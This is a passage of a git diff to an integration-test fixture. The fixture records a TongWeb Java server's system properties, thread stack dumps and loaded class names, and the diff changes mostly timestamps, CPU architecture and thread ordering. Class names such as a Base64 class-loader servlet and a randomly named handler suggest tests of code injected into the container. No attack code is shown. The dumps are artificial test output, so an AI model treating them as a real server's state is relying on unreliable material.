+ at java.net.SocketInputStream.read(SocketInputStream.java:171)
+ at java.net.SocketInputStream.read(SocketInputStream.java:141)
+ at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
+ at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
+ at java.io.FilterInputStream.read(FilterInputStream.java:83)
+ at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$12/1401549639.run(Unknown Source)
+ at java.security.AccessController.doPrivileged(Native Method)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+
+===========================================
+
+StackClassNames:
+Base64ClassLoaderServlet
+EmptyFilter
+ServletNameTestFilter
+UrlMappingTestFilter
+com.tongweb.monitor.persistence.TimerThread
+com.tongweb.twnt.thor.OpenEJBValve
+com.tongweb.web.oro.AbstractProtocol$AbstractConnectionHandler
+com.tongweb.web.oro.http11.AbstractHttp11Processor
+com.tongweb.web.thor.authenticator.AuthenticatorBase
+com.tongweb.web.thor.connector.CoyoteAdapter
+com.tongweb.web.thor.connector.CoyoteWriter
+com.tongweb.web.thor.core.ApplicationFilterChain
+com.tongweb.web.thor.core.ContainerBase$ContainerBackgroundProcessor
+com.tongweb.web.thor.core.StandardContextValve
+com.tongweb.web.thor.core.StandardEngineValve
+com.tongweb.web.thor.core.ThorStandardHostValve
+com.tongweb.web.thor.core.ThorStandardServer
+com.tongweb.web.thor.core.ThorStandardWrapperValve
+com.tongweb.web.thor.startup.Catalina
+com.tongweb.web.thor.startup.ThorBootstrap
+com.tongweb.web.thor.startup.Tomee
+com.tongweb.web.thor.valves.AccessLogValve
+com.tongweb.web.thor.valves.ErrorReportValve
+com.tongweb.web.webutil.util.net.DefaultServerSocketFactory
+com.tongweb.web.webutil.util.net.JIoEndpoint$Acceptor
+com.tongweb.web.webutil.util.net.JIoEndpoint$AsyncTimeout
+com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller
+com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor
+com.tongweb.web.webutil.util.net.NioEndpoint$Poller
+com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor
+com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor
+com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker
+com.tongweb.web.webutil.util.threads.TaskQueue
+org.apache.http.client.jjCxH.ErrorIlpkbHandler
diff --git a/integration-test/src/test/resources/infos/TongWeb6ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/TongWeb6070ContainerTestBasicInfo.txt
similarity index 82%
rename from integration-test/src/test/resources/infos/TongWeb6ContainerTestBasicInfo.txt
rename to integration-test/src/test/resources/infos/TongWeb6070ContainerTestBasicInfo.txt
index a720489a..013b81fb 100644
--- a/integration-test/src/test/resources/infos/TongWeb6ContainerTestBasicInfo.txt
+++ b/integration-test/src/test/resources/infos/TongWeb6070ContainerTestBasicInfo.txt
@@ -1,4 +1,4 @@
-# Generated At 2025-08-10 15:27:15
+# Generated At 2026-05-24 11:00:05
SystemProps:
java.vendor: Oracle Corporation
sun.java.launcher: SUN_STANDARD
@@ -8,7 +8,7 @@ sun.management.compiler: HotSpot 64-Bit Tiered Compilers
javax.el.ExpressionFactory: com.tongweb.web.el.ExpressionFactoryImpl
catalina.useNaming: true
os.name: Linux
-sun.boot.class.path: /opt/tweb6/lib/endorsed/annotation-api.jar:/opt/tweb6/lib/endorsed/validation-api.jar:/usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes
+sun.boot.class.path: /opt/tweb6/lib/endorsed/validation-api.jar:/opt/tweb6/lib/endorsed/annotation-api.jar:/usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes
javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory
com.tongweb.web.thor.startup.ContextConfig.jarsToSkip:
java.vm.specification.vendor: Oracle Corporation
@@ -22,7 +22,7 @@ java.naming.factory.initial: com.tongweb.web.naming.tongweb.java.javaURLContextF
user.language: en
derby.system.home: /opt/tweb6
ibm.stream.nio: true
-sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64
+sun.boot.library.path: /usr/local/openjdk-8/jre/lib/amd64
openejb.assembler: com.tongweb.tongejb.assembler.classic.ThorAssembler
openjpa.Log: com.tongweb.tongejb.openjpa.JULOpenJPALogFactory
openwebbeans.logging.factory: com.tongweb.webbeans.logger.JULLoggerFactory
@@ -46,7 +46,7 @@ tongweb.snapshotinhour: 5
java.class.version: 52.0
java.home: /usr/local/openjdk-8/jre
java.vm.info: mixed mode
-os.version: 6.14.10-orbstack-00291-g1b252bd3edea
+os.version: 6.8.0-111-generic
openejb.embedder.source: ThorServerListener
sun.font.fontmanager: sun.awt.X11FontManager
tongweb.sysapp: /opt/tweb6/applications
@@ -68,7 +68,7 @@ user.home: /root
java.rmi.server.RMIClassLoaderSpi: com.tongweb.server.TongWebRMIClassLoader
openejb.version: 1.0.0
java.specification.vendor: Oracle Corporation
-java.library.path: /usr/java/packages/lib/aarch64:/lib:/usr/lib
+java.library.path: /usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
java.vendor.url: http://java.oracle.com/
java.vm.vendor: Oracle Corporation
common.loader: ${catalina.base}/lib,${catalina.base}/lib/*.jar,${catalina.home}/lib,${catalina.home}/lib/*.jar
@@ -86,7 +86,7 @@ java.awt.headless: true
java.io.tmpdir: /opt/tweb6/temp
java.vendor.url.bug: http://bugreport.sun.com/bugreport/
server.loader:
-os.arch: aarch64
+os.arch: amd64
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext
tongweb.jndi.lookup.relaxVersion: false
@@ -110,41 +110,7 @@ master.path: /opt/tweb6
===========================================
ThreadStacks:
-"DefaultQuartzScheduler_Worker-5" #161 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@43f698f2
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553)
-
-"snapshot" #176 daemon [TIMED_WAITING] on java.util.TaskQueue@1fc0981c
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at java.util.TimerThread.mainLoop(Timer.java:552)
- at java.util.TimerThread.run(Timer.java:505)
-
-"http-nio-8443-exec-2" #117 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
- at java.lang.Thread.run(Thread.java:750)
-
-"ajp-bio-8009-Acceptor-0" #139 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at java.net.PlainSocketImpl.socketAccept(Native Method)
- at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
- at java.net.ServerSocket.implAccept(ServerSocket.java:560)
- at java.net.ServerSocket.accept(ServerSocket.java:528)
- at com.tongweb.web.webutil.util.net.DefaultServerSocketFactory.acceptSocket(DefaultServerSocketFactory.java:60)
- at com.tongweb.web.webutil.util.net.JIoEndpoint$Acceptor.run(JIoEndpoint.java:217)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio-0.0.0.0-8080-exec-4" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227
+"http-nio-8443-exec-10" #113 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b1347d5
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -157,90 +123,129 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"DefaultQuartzScheduler_Worker-8" #164 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@2af039e1
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553)
-
-"TWNT-startStop-1" #88 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74f228a0
+"RMI Scheduler(0)" #17 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6d02e3bb
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
- at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"RMI RenewClean-[192.168.215.5:39889]" #18 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@6fe94e5a
+"DefaultQuartzScheduler_Worker-8" #149 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@1dded4db
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
- at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
- at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
+ at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553)
+
+"RMI TCP Accept-7200" #12 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-0.0.0.0-9060-exec-7" #96 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64
+"JCA-default-thread-pool-worker-2" #45 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76cf56dd
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"GC Daemon" #15 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@3ed26d68
+"com.tongweb.tongejb.pool.scheduler.1" #55 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@e577769
java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at sun.misc.GC$Daemon.run(GC.java:117)
-
-"http-nio-0.0.0.0-8080-exec-8" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227
- java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@5b00e53a
- java.lang.Thread.State: WAITING
- at java.lang.Object.wait(Native Method)
- at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
- at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
- at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
-
-"http-nio-8443-exec-7" #122 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c
+"JCA-default-thread-pool-worker-3" #46 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76cf56dd
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"NioBlockingSelector.BlockPoller-1" #21 daemon [RUNNABLE]
+"Timer-1" #156 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
- at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
- at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
- at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
- at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
- at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328)
+ at java.util.zip.ZipFile.read(Native Method)
+ at java.util.zip.ZipFile.access$1400(ZipFile.java:61)
+ at java.util.zip.ZipFile$ZipFileInputStream.read(ZipFile.java:738)
+ at java.io.FilterInputStream.read(FilterInputStream.java:133)
+ at java.io.DataInputStream.readFully(DataInputStream.java:195)
+ at java.io.DataInputStream.readUTF(DataInputStream.java:609)
+ at java.io.DataInputStream.readUTF(DataInputStream.java:564)
+ at com.sun.xml.internal.bind.v2.bytecode.ClassTailor.tailor(ClassTailor.java:131)
+ at com.sun.xml.internal.bind.v2.runtime.reflect.opt.AccessorInjector.tailor(AccessorInjector.java:107)
+ at com.sun.xml.internal.bind.v2.runtime.reflect.opt.AccessorInjector.prepare(AccessorInjector.java:68)
+ at com.sun.xml.internal.bind.v2.runtime.reflect.opt.OptimizedAccessorFactory.get(OptimizedAccessorFactory.java:164)
+ at com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$FieldReflection.optimize(Accessor.java:271)
+ at com.sun.xml.internal.bind.v2.runtime.reflect.TransducedAccessor$CompositeTransducedAccessorImpl.(TransducedAccessor.java:220)
+ at com.sun.xml.internal.bind.v2.runtime.reflect.TransducedAccessor.get(TransducedAccessor.java:160)
+ at com.sun.xml.internal.bind.v2.runtime.property.AttributeProperty.(AttributeProperty.java:76)
+ at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:93)
+ at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:507)
+ at com.sun.xml.internal.bind.v2.runtime.property.SingleElementNodeProperty.(SingleElementNodeProperty.java:90)
+ at sun.reflect.GeneratedConstructorAccessor8.newInstance(Unknown Source)
+ at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
+ at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
+ at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:113)
+ at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:507)
+ at com.sun.xml.internal.bind.v2.runtime.property.SingleElementNodeProperty.(SingleElementNodeProperty.java:90)
+ at sun.reflect.GeneratedConstructorAccessor8.newInstance(Unknown Source)
+ at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
+ at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
+ at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:113)
+ at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.(JAXBContextImpl.java:305)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.(JAXBContextImpl.java:124)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$JAXBContextBuilder.build(JAXBContextImpl.java:1123)
+ at com.sun.xml.internal.bind.v2.ContextFactory.createContext(ContextFactory.java:147)
+ at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+ at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+ at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+ at java.lang.reflect.Method.invoke(Method.java:498)
+ at javax.xml.bind.ContextFinder.newInstance(ContextFinder.java:247)
+ at javax.xml.bind.ContextFinder.newInstance(ContextFinder.java:234)
+ at javax.xml.bind.ContextFinder.find(ContextFinder.java:462)
+ at javax.xml.bind.JAXBContext.newInstance(JAXBContext.java:641)
+ at javax.xml.bind.JAXBContext.newInstance(JAXBContext.java:584)
+ at com.tongweb.config.ConfigTool.saveXmlFile(ConfigTool.java:534)
+ at com.tongweb.config.ConfigTool.saveXmlFile(ConfigTool.java:556)
+ at com.tongweb.config.ConfigTool.addChild(ConfigTool.java:192)
+ at com.tongweb.config.ConfigTool.addChild(ConfigTool.java:120)
+ at com.tongweb.deploy.util.DeployConfigUtil.addDeployConfig(DeployConfigUtil.java:300)
+ at com.tongweb.deploy.TongWebDeployer.deploy(TongWebDeployer.java:249)
+ at com.tongweb.deploy.commands.DeployCommand.deploy(DeployCommand.java:321)
+ at com.tongweb.deploy.autodeploy.TongWebAutoDeployer.deployAll(TongWebAutoDeployer.java:68)
+ at com.tongweb.deploy.autodeploy.TongWebAutoDeployTask.run(TongWebAutoDeployTask.java:195)
+ at java.util.TimerThread.mainLoop(Timer.java:555)
+ at java.util.TimerThread.run(Timer.java:505)
-"WebSocketClient-AsyncIO-2" #143 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e
+"WebSocketClient-AsyncIO-6" #135 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f6ba499
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -252,15 +257,7 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-0.0.0.0-8080-Acceptor-0" #115 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
- at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
- at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
- at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:859)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio-0.0.0.0-8080-exec-6" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227
+"http-nio-0.0.0.0-9060-exec-2" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@658e93f4
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -273,7 +270,7 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"ajp-bio-8009-exec-5" #133 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7
+"http-nio-8443-exec-9" #112 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b1347d5
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -286,20 +283,7 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-0.0.0.0-9060-exec-5" #94 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
- at java.lang.Thread.run(Thread.java:750)
-
-"com.tongweb.tongejb.pool.scheduler.1" #61 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a9cb713
+"com.tongweb.tongejb.pool.scheduler.3" #57 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@69fb5826
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
@@ -311,97 +295,104 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"ajp-bio-8009-AsyncTimeout" #140 daemon [TIMED_WAITING]
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at com.tongweb.web.webutil.util.net.JIoEndpoint$AsyncTimeout.run(JIoEndpoint.java:149)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio-0.0.0.0-9060-exec-6" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
- at java.lang.Thread.run(Thread.java:750)
-
